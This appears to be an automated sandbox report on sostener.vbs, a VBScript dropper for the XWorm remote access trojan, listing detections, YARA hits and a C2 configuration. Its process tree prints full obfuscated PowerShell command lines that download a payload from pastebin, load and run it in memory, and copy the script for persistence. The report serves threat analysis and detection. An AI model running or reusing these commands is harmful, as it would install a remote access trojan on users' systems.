Edit tour

Windows Analysis Report
sostener.vbs

Overview

General Information

Sample name:	sostener.vbs
Analysis ID:	1524706
MD5:	b18fcb9a2af66c700b70cd9f9a58a563
SHA1:	dae167b9d105e0a29dfb43d83540634819c41f0f
SHA256:	06eb284366b1e9ef0cb5dde4f81e8ad974370d6ca1cf6e9969a9721ee5a6df2d
Tags:	asyncratvbsuser-lontze7
Infos:

Detection

XWorm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected Powershell download and execute

Yara detected XWorm

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

.NET source code references suspicious native API functions

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Connects to a pastebin service (likely for C&C)

Found suspicious powershell code related to unpacking or dynamic code loading

Injects a PE file into a foreign processes

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Sigma detected: Potential Startup Shortcut Persistence Via PowerShell.EXE

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses dynamic DNS services

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript called in batch mode (surpress errors)

Wscript starts Powershell (via cmd or directly)

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Download Pattern

Sigma detected: PowerShell Web Download

Sigma detected: Startup Folder File Write

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5604 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sostener.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 1020 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J?Bh?G0?cwBo?GU?I??9?C??Jw?w?DM?Jw?7?CQ?dgB2?GU?cgBy?C??PQ?g?Cc?JQBw?Ho?QQBj?E8?ZwBJ?G4?TQBy?CU?Jw?7?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBy?HY?aQBj?GU?U?Bv?Gk?bgB0?E0?YQBu?GE?ZwBl?HI?XQ?6?Do?UwBl?HI?dgBl?HI?QwBl?HI?d?Bp?GY?aQBj?GE?d?Bl?FY?YQBs?Gk?Z?Bh?HQ?aQBv?G4?QwBh?Gw?b?Bi?GE?YwBr?C??PQ?g?Hs?J?B0?HI?dQBl?H0?OwBb?FM?eQBz?HQ?ZQBt?C4?TgBl?HQ?LgBT?GU?cgB2?Gk?YwBl?F??bwBp?G4?d?BN?GE?bgBh?Gc?ZQBy?F0?Og?6?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?I??9?C??WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?GM?dQBy?Gk?d?B5?F??cgBv?HQ?bwBj?G8?b?BU?Hk?c?Bl?F0?Og?6?FQ?b?Bz?DE?Mg?7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?a?B6?GY?YgBz?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?Cg?TgBl?Hc?LQBP?GI?agBl?GM?d??g?E4?ZQB0?C4?VwBl?GI?QwBs?Gk?ZQBu?HQ?KQ?u?EQ?bwB3?G4?b?Bv?GE?Z?BT?HQ?cgBp?G4?Zw?o?C??K?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??TgBl?HQ?LgBX?GU?YgBD?Gw?aQBl?G4?d??p?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?JwBo?HQ?d?Bw?Do?Lw?v?H??YQBz?HQ?ZQBi?Gk?bg?u?GM?bwBt?C8?cgBh?Hc?LwBW?Dk?eQ?1?FE?NQB2?HY?Jw?p?C??KQ?g?Ck?OwBb?HM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Do?QwB1?HI?cgBl?G4?d?BE?G8?bQBh?Gk?bg?u?Ew?bwBh?GQ?K??k?Gg?egBm?GI?cw?p?C4?RwBl?HQ?V?B5?H??ZQ?o?Cc?V?Bl?Gg?dQBs?GM?a?Bl?HM?W?B4?Fg?e?B4?C4?QwBs?GE?cwBz?DE?Jw?p?C4?RwBl?HQ?TQBl?HQ?a?Bv?GQ?K??n?E0?cwBx?EI?SQBi?Fk?Jw?p?C4?SQBu?HY?bwBr?GU?K??k?G4?dQBs?Gw?L??g?Fs?bwBi?Go?ZQBj?HQ?WwBd?F0?I??o?Cc?Yg?3?FM?SgBi?Dc?R?Bj?C8?dwBh?HI?LwBt?G8?Yw?u?G4?aQBi?GU?d?Bz?GE?c??v?C8?OgBz?H??d?B0?Gg?Jw?g?Cw?I??k?HY?dgBl?HI?cg?g?Cw?I??n?F8?XwBf?Hc?aQBu?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?LQ?t?C0?LQ?t?C0?LQ?n?Cw?I??k?GE?bQBz?Gg?ZQ?s?C??Jw?x?Cc?L??g?Cc?UgBv?GQ?YQ?n?C??KQ?p?Ds?';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('?','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL; MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6400 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$amshe = '03';$vverr = 'C:\Users\user\Desktop\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $hzfbs = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($hzfbs).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('b7SJb7Dc/war/moc.nibetsap//:sptth' , $vverr , '___win________________________________________-------', $amshe, '1', 'Roda' ));" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 1088 cmdline: powershell.exe Copy-Item 'C:\Users\user\Desktop\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\' MD5: 04029E121A0CFA5991749937DD22A1D9)

RegAsm.exe (PID: 3652 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 6128 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

powershell.exe (PID: 2316 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -command wscript.exe //b //nologo 'C:\Users\user\AppData\Local\Temp\sostener.vbs' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6336 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 6592 cmdline: "C:\Windows\system32\wscript.exe" //b //nologo C:\Users\user\AppData\Local\Temp\sostener.vbs MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 5368 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J?Bh?G0?cwBo?GU?I??9?C??Jw?w?DM?Jw?7?CQ?dgB2?GU?cgBy?C??PQ?g?Cc?JQBw?Ho?QQBj?E8?ZwBJ?G4?TQBy?CU?Jw?7?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBy?HY?aQBj?GU?U?Bv?Gk?bgB0?E0?YQBu?GE?ZwBl?HI?XQ?6?Do?UwBl?HI?dgBl?HI?QwBl?HI?d?Bp?GY?aQBj?GE?d?Bl?FY?YQBs?Gk?Z?Bh?HQ?aQBv?G4?QwBh?Gw?b?Bi?GE?YwBr?C??PQ?g?Hs?J?B0?HI?dQBl?H0?OwBb?FM?eQBz?HQ?ZQBt?C4?TgBl?HQ?LgBT?GU?cgB2?Gk?YwBl?F??bwBp?G4?d?BN?GE?bgBh?Gc?ZQBy?F0?Og?6?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?I??9?C??WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?GM?dQBy?Gk?d?B5?F??cgBv?HQ?bwBj?G8?b?BU?Hk?c?Bl?F0?Og?6?FQ?b?Bz?DE?Mg?7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?a?B6?GY?YgBz?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?Cg?TgBl?Hc?LQBP?GI?agBl?GM?d??g?E4?ZQB0?C4?VwBl?GI?QwBs?Gk?ZQBu?HQ?KQ?u?EQ?bwB3?G4?b?Bv?GE?Z?BT?HQ?cgBp?G4?Zw?o?C??K?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??TgBl?HQ?LgBX?GU?YgBD?Gw?aQBl?G4?d??p?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?JwBo?HQ?d?Bw?Do?Lw?v?H??YQBz?HQ?ZQBi?Gk?bg?u?GM?bwBt?C8?cgBh?Hc?LwBW?Dk?eQ?1?FE?NQB2?HY?Jw?p?C??KQ?g?Ck?OwBb?HM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Do?QwB1?HI?cgBl?G4?d?BE?G8?bQBh?Gk?bg?u?Ew?bwBh?GQ?K??k?Gg?egBm?GI?cw?p?C4?RwBl?HQ?V?B5?H??ZQ?o?Cc?V?Bl?Gg?dQBs?GM?a?Bl?HM?W?B4?Fg?e?B4?C4?QwBs?GE?cwBz?DE?Jw?p?C4?RwBl?HQ?TQBl?HQ?a?Bv?GQ?K??n?E0?cwBx?EI?SQBi?Fk?Jw?p?C4?SQBu?HY?bwBr?GU?K??k?G4?dQBs?Gw?L??g?Fs?bwBi?Go?ZQBj?HQ?WwBd?F0?I??o?Cc?Yg?3?FM?SgBi?Dc?R?Bj?C8?dwBh?HI?LwBt?G8?Yw?u?G4?aQBi?GU?d?Bz?GE?c??v?C8?OgBz?H??d?B0?Gg?Jw?g?Cw?I??k?HY?dgBl?HI?cg?g?Cw?I??n?F8?XwBf?Hc?aQBu?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?LQ?t?C0?LQ?t?C0?LQ?n?Cw?I??k?GE?bQBz?Gg?ZQ?s?C??Jw?x?Cc?L??g?Cc?UgBv?GQ?YQ?n?C??KQ?p?Ds?';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('?','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\AppData\Local\Temp\sostener.vbs');powershell $KByHL; MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7096 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$amshe = '03';$vverr = 'C:\Users\user\AppData\Local\Temp\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $hzfbs = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($hzfbs).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('b7SJb7Dc/war/moc.nibetsap//:sptth' , $vverr , '___win________________________________________-------', $amshe, '1', 'Roda' ));" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7208 cmdline: powershell.exe Copy-Item 'C:\Users\user\AppData\Local\Temp\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\' MD5: 04029E121A0CFA5991749937DD22A1D9)

RegAsm.exe (PID: 7308 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Malware Configuration

Threatname: Xworm

{"C2 url": ["toskaadmx.duckdns.org"], "Port": "7000", "Aes key": "<Xwormmm>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.2176643102.00000287005E6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000004.00000002.2176643102.00000287005E6000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x19b33:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x2ceeb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x19bd0:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x2cf88:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x19ce5:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x2d09d:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x18c1b:$cnc4: POST / HTTP/1.1 0x2bfd3:$cnc4: POST / HTTP/1.1
00000010.00000002.2381808798.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000010.00000002.2381808798.0000000000402000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xf3e3:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xf480:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xf595:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xe4cb:$cnc4: POST / HTTP/1.1
0000000E.00000002.2403141075.00000272D6986000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0000000E.00000002.2403141075.00000272D6986000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x1a3a3:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x2c86b:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x1a440:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x2c908:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x1a555:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x2ca1d:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x1948b:$cnc4: POST / HTTP/1.1 0x2b953:$cnc4: POST / HTTP/1.1
00000004.00000002.2275849504.000002877CA20000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000004.00000002.2275849504.000002877CA20000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_RawPaste_Reverse_URL	Detects executables (downloaders) containing reversed URLs to raw contents of a paste	ditekSHen	0x1a4b:$u1: /moc.nibetsap//:sptth
00000004.00000002.2275849504.000002877CA20000.00000004.08000000.00040000.00000000.sdmp	MALWARE_Win_DLAgent09	Detects known downloader agent	ditekSHen	0x1a65:$h2: //:sptth 0x119c:$s1: DownloadString 0xfe4:$s2: StrReverse 0x118b:$s3: FromBase64String 0x1457:$s4: WebClient
00000007.00000002.3349422989.0000000003081000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: powershell.exe PID: 1020	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 1020	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xf73:$b2: ::FromBase64String( 0x1752:$b2: ::FromBase64String( 0x6011:$b2: ::FromBase64String( 0x69a6:$b2: ::FromBase64String( 0x207ab:$b2: ::FromBase64String( 0x229e7:$b2: ::FromBase64String( 0x2948b:$b2: ::FromBase64String( 0x295be:$b2: ::FromBase64String( 0x3630f:$b2: ::FromBase64String( 0x4d568:$b2: ::FromBase64String( 0x4dbb6:$b2: ::FromBase64String( 0x4de55:$b2: ::FromBase64String( 0x4ebf9:$b2: ::FromBase64String( 0x4ef1c:$b2: ::FromBase64String( 0x4f367:$b2: ::FromBase64String( 0x4f643:$b2: ::FromBase64String( 0x68b80:$b2: ::FromBase64String( 0x70e11:$b2: ::FromBase64String( 0x715f0:$b2: ::FromBase64String( 0xae6df:$b2: ::FromBase64String( 0xae812:$b2: ::FromBase64String(
Process Memory Space: powershell.exe PID: 6400	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 6400	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: powershell.exe PID: 6400	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: powershell.exe PID: 6400	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x99f9c:$b2: ::FromBase64String( 0x9a273:$b2: ::FromBase64String( 0x9b23c:$b2: ::FromBase64String( 0x13e84d:$b2: ::FromBase64String( 0x13eb24:$b2: ::FromBase64String( 0x149189:$b2: ::FromBase64String( 0x14960b:$b2: ::FromBase64String( 0x1498e7:$b2: ::FromBase64String( 0x14a281:$b2: ::FromBase64String( 0x150efd:$b2: ::FromBase64String( 0x283e05:$b2: ::FromBase64String( 0x2840dd:$b2: ::FromBase64String( 0x2845bf:$b2: ::FromBase64String( 0x284a53:$b2: ::FromBase64String( 0x302797:$b2: ::FromBase64String( 0x3345d1:$b2: ::FromBase64String( 0x334957:$b2: ::FromBase64String( 0x338371:$b2: ::FromBase64String( 0x33d6da:$b2: ::FromBase64String( 0x33d9b1:$b2: ::FromBase64String( 0xbf6:$s1: -join
Process Memory Space: RegAsm.exe PID: 6128	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: powershell.exe PID: 5368	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 5368	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x453:$b2: ::FromBase64String( 0x591:$b2: ::FromBase64String( 0x14e4:$b2: ::FromBase64String( 0x1cce:$b2: ::FromBase64String( 0x3af5:$b2: ::FromBase64String( 0x3c33:$b2: ::FromBase64String( 0x56f3:$b2: ::FromBase64String( 0x1027b:$b2: ::FromBase64String( 0x10be9:$b2: ::FromBase64String( 0x14c29:$b2: ::FromBase64String( 0x14f66:$b2: ::FromBase64String( 0x68aff:$b2: ::FromBase64String( 0x692e9:$b2: ::FromBase64String( 0x69574:$b2: ::FromBase64String( 0x6a4a2:$b2: ::FromBase64String( 0x6ba94:$b2: ::FromBase64String( 0xaef47:$b2: ::FromBase64String( 0xaf59d:$b2: ::FromBase64String( 0xaf846:$b2: ::FromBase64String( 0xb0643:$b2: ::FromBase64String( 0xb0971:$b2: ::FromBase64String(
Process Memory Space: powershell.exe PID: 7096	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7096	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: powershell.exe PID: 7096	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: powershell.exe PID: 7096	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xa22a7:$b2: ::FromBase64String( 0xa901b:$b2: ::FromBase64String( 0x230e48:$b2: ::FromBase64String( 0x23112b:$b2: ::FromBase64String( 0x23161e:$b2: ::FromBase64String( 0x231abc:$b2: ::FromBase64String( 0x25bc29:$b2: ::FromBase64String( 0x25c0be:$b2: ::FromBase64String( 0x25c833:$b2: ::FromBase64String( 0x25e23b:$b2: ::FromBase64String( 0x25e51d:$b2: ::FromBase64String( 0x293f5d:$b2: ::FromBase64String( 0x29423f:$b2: ::FromBase64String( 0x2c42c0:$b2: ::FromBase64String( 0x2c45a2:$b2: ::FromBase64String( 0x2c54f4:$b2: ::FromBase64String( 0x2ff359:$b2: ::FromBase64String( 0x311d12:$b2: ::FromBase64String( 0x345f6c:$b2: ::FromBase64String( 0x346215:$b2: ::FromBase64String( 0x34a84c:$b2: ::FromBase64String(
Process Memory Space: RegAsm.exe PID: 7308	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Click to see the 19 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.powershell.exe.2877ca20000.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.powershell.exe.2877ca20000.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_RawPaste_Reverse_URL	Detects executables (downloaders) containing reversed URLs to raw contents of a paste	ditekSHen	0x1a4b:$u1: /moc.nibetsap//:sptth
4.2.powershell.exe.2877ca20000.4.raw.unpack	MALWARE_Win_DLAgent09	Detects known downloader agent	ditekSHen	0x1a65:$h2: //:sptth 0x119c:$s1: DownloadString 0xfe4:$s2: StrReverse 0x118b:$s3: FromBase64String 0x1457:$s4: WebClient
16.2.RegAsm.exe.400000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
16.2.RegAsm.exe.400000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xf5e3:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xf680:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xf795:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xe6cb:$cnc4: POST / HTTP/1.1
4.2.powershell.exe.287005f0550.1.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
4.2.powershell.exe.287005f0550.1.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xd7e3:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xd880:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xd995:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xc8cb:$cnc4: POST / HTTP/1.1
14.2.powershell.exe.272d6990dc0.3.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
14.2.powershell.exe.272d6990dc0.3.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xd7e3:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xd880:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xd995:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xc8cb:$cnc4: POST / HTTP/1.1
4.2.powershell.exe.287005ed138.3.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
